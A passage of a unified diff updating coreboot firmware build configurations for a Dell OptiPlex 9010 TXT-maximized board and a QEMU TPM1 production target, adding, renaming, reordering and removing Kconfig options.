@@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -638,7 +680,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # General Debug Settings # # CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-optiplex-7019_9010_TXT-maximized.config b/config/coreboot-optiplex-7019_9010_TXT-maximized.config index 03be491e0..1c5023fe5 100644 --- a/config/coreboot-optiplex-7019_9010_TXT-maximized.config +++ b/config/coreboot-optiplex-7019_9010_TXT-maximized.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -39,7 +38,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -57,10 +55,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -69,22 +68,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set CONFIG_VENDOR_DELL=y # CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -95,6 +100,7 @@ CONFIG_VENDOR_DELL=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -105,7 +111,9 @@ CONFIG_VENDOR_DELL=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_MAINBOARD_PART_NUMBER="OptiPlex 9010" CONFIG_MAINBOARD_VERSION="1.0" CONFIG_MAINBOARD_DIR="dell/snb_ivb_workstations" @@ -123,30 +131,52 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_POST_DEVICE=y CONFIG_POST_IO=y -CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="optiplex_9010_sff" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="variants/baseboard/devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Dell Inc." CONFIG_DRAM_RESET_GATE_GPIO=60 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="OptiPlex 9010" +# CONFIG_CONSOLE_POST is not set CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -# CONFIG_CONSOLE_POST is not set CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_DELL_E6400 is not set +# CONFIG_BOARD_DELL_LATITUDE_E7240 is not set +# CONFIG_BOARD_DELL_OPTIPLEX_3050 is not set +# CONFIG_BOARD_DELL_OPTIPLEX_9020_SFF is not set +# CONFIG_BOARD_DELL_OPTIPLEX_9020_MT is not set +# CONFIG_BOARD_DELL_LATITUDE_E5420 is not set +# CONFIG_BOARD_DELL_LATITUDE_E5520 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6220 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6320 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6420 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6520 is not set +# CONFIG_BOARD_DELL_LATITUDE_E5530 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6230 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6330 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6430 is not set +# CONFIG_BOARD_DELL_LATITUDE_E6530 is not set CONFIG_BOARD_DELL_OPTIPLEX_9010=y # CONFIG_BOARD_DELL_PRECISION_T1650 is not set +# CONFIG_BOARD_DELL_XPS_8300 is not set CONFIG_BOARD_DELL_SNB_IVB_WORKSTATIONS=y CONFIG_INCLUDE_SMSC_SCH5545_EC_FW=y CONFIG_SMSC_SCH5545_EC_FW_FILE="@BLOB_DIR@/xx30/sch5545_ecfw.bin" -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -165,7 +195,6 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="OptiPlex 9010" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -174,13 +203,14 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -# CONFIG_PCIEXP_CLK_PM is not set CONFIG_GFX_GMA_PANEL_1_ON_EDP=y CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_12288=y @@ -222,7 +252,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -243,6 +273,7 @@ CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x20000 CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_INTEL_TXT_SINIT_SIZE=0x20000 CONFIG_INTEL_TXT_HEAP_SIZE=0xe0000 CONFIG_FIXED_SMBUS_IO_BASE=0x400 @@ -268,6 +299,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -291,6 +323,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -346,6 +383,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -353,7 +391,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_AP_IN_SIPI_WAIT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y @@ -369,6 +407,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -389,6 +431,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -423,6 +466,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -492,15 +536,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_INIT_BOOTBLOCK=y CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 @@ -548,7 +592,6 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 # # Console @@ -602,6 +645,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -612,10 +656,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -652,7 +694,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # General Debug Settings # # CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set diff --git a/config/coreboot-qemu-tpm1-prod.config b/config/coreboot-qemu-tpm1-prod.config index c48958def..91b2a0142 100644 --- a/config/coreboot-qemu-tpm1-prod.config +++ b/config/coreboot-qemu-tpm1-prod.config @@ -6,14 +6,13 @@ # # General setup # -CONFIG_COREBOOT_BUILD=y CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_ANY_TOOLCHAIN is not set CONFIG_CCACHE=y +# CONFIG_LTO is not set # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set @@ -41,7 +40,6 @@ CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set # CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set # # Software Bill Of Materials (SBOM) @@ -59,10 +57,11 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # # CONFIG_VENDOR_51NB is not set # CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set # CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOOSTAR is not set # CONFIG_VENDOR_AOPEN is not set # CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ARM is not set # CONFIG_VENDOR_ASROCK is not set # CONFIG_VENDOR_ASUS is not set # CONFIG_VENDOR_BIOSTAR is not set @@ -71,22 +70,28 @@ CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 # CONFIG_VENDOR_CAVIUM is not set # CONFIG_VENDOR_CLEVO is not set # CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_CWWK is not set # CONFIG_VENDOR_DELL is not set CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set # CONFIG_VENDOR_HP is not set # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -97,6 +102,7 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -107,7 +113,9 @@ CONFIG_VENDOR_EMULATION=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_BOARD_SPECIFIC_OPTIONS=y CONFIG_MAINBOARD_PART_NUMBER="QEMU x86 q35/ich9" CONFIG_MAINBOARD_VERSION="1.0" @@ -123,17 +131,26 @@ CONFIG_MAX_CPUS=4 CONFIG_ONBOARD_VGA_IS_PRIMARY=y # CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set +CONFIG_OVERRIDE_DEVICETREE="" CONFIG_DEVICETREE="devicetree.cb" # CONFIG_VBOOT is not set CONFIG_VBOOT_VBNV_OFFSET=0x2c # CONFIG_CHROMEOS is not set -CONFIG_OVERRIDE_DEVICETREE="" # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Emulation" +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" +# CONFIG_CONSOLE_POST is not set CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -# CONFIG_CONSOLE_POST is not set +CONFIG_MAX_SOCKET=1 CONFIG_TPM_PIRQ=0x0 # CONFIG_BOARD_EMULATION_QEMU_AARCH64 is not set # CONFIG_BOARD_EMULATION_QEMU_ARMV7 is not set @@ -143,10 +160,8 @@ CONFIG_TPM_PIRQ=0x0 CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV64 is not set # CONFIG_BOARD_EMULATION_QEMU_RISCV_RV32 is not set +# CONFIG_BOARD_EMULATION_QEMU_SBSA is not set # CONFIG_BOARD_EMULATION_SPIKE_RISCV is not set -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xb0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0x10000 CONFIG_DCACHE_RAM_SIZE=0x90000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -156,22 +171,22 @@ CONFIG_MAX_ACPI_TABLE_SIZE_KB=224 CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 CONFIG_CARDBUS_PLUGIN_SUPPORT=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="QEMU x86 q35/ich9" CONFIG_PCIEXP_HOTPLUG_BUSES=32 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="console=ttyS0,115200 console=tty quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_16384=y +CONFIG_BOARD_ROMSIZE_KB_8192=y # CONFIG_COREBOOT_ROMSIZE_KB_256 is not set # CONFIG_COREBOOT_ROMSIZE_KB_512 is not set # CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set @@ -208,7 +223,7 @@ CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 @@ -222,6 +237,7 @@ CONFIG_BOOTBLOCK_IN_CBFS=y CONFIG_HPET_MIN_TICKS=0x80 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -241,6 +257,7 @@ CONFIG_UDELAY_TSC=y CONFIG_UNKNOWN_TSC_RATE=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_ASEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -287,6 +304,7 @@ CONFIG_MAINBOARD_HAS_CHROMEOS=y # # end of ChromeOS +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -294,7 +312,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 @@ -304,10 +322,17 @@ CONFIG_POSTCAR_STAGE=y CONFIG_BOOTBLOCK_SIMPLE=y # CONFIG_BOOTBLOCK_NORMAL is not set CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -327,6 +352,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -355,6 +381,9 @@ CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y # Generic Drivers # CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +# CONFIG_DRIVERS_OPTION_CFR is not set +# CONFIG_SMMSTORE is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_DRIVERS_UART=y @@ -364,8 +393,9 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_USBDEBUG is not set # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_XRES=1440 -CONFIG_DRIVERS_EMULATION_QEMU_BOCHS_YRES=810 +CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y +CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set @@ -403,15 +433,14 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y # CONFIG_TPM2 is not set CONFIG_TPM=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set # CONFIG_TPM_LOG_CB is not set CONFIG_TPM_LOG_TPM1=y +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -442,7 +471,7 @@ CONFIG_ACPI_COMMON_MADT_IOAPIC=y CONFIG_HAVE_ACPI_TABLES=y CONFIG_BOOT_DEVICE_NOT_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y # # Console @@ -491,6 +520,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # 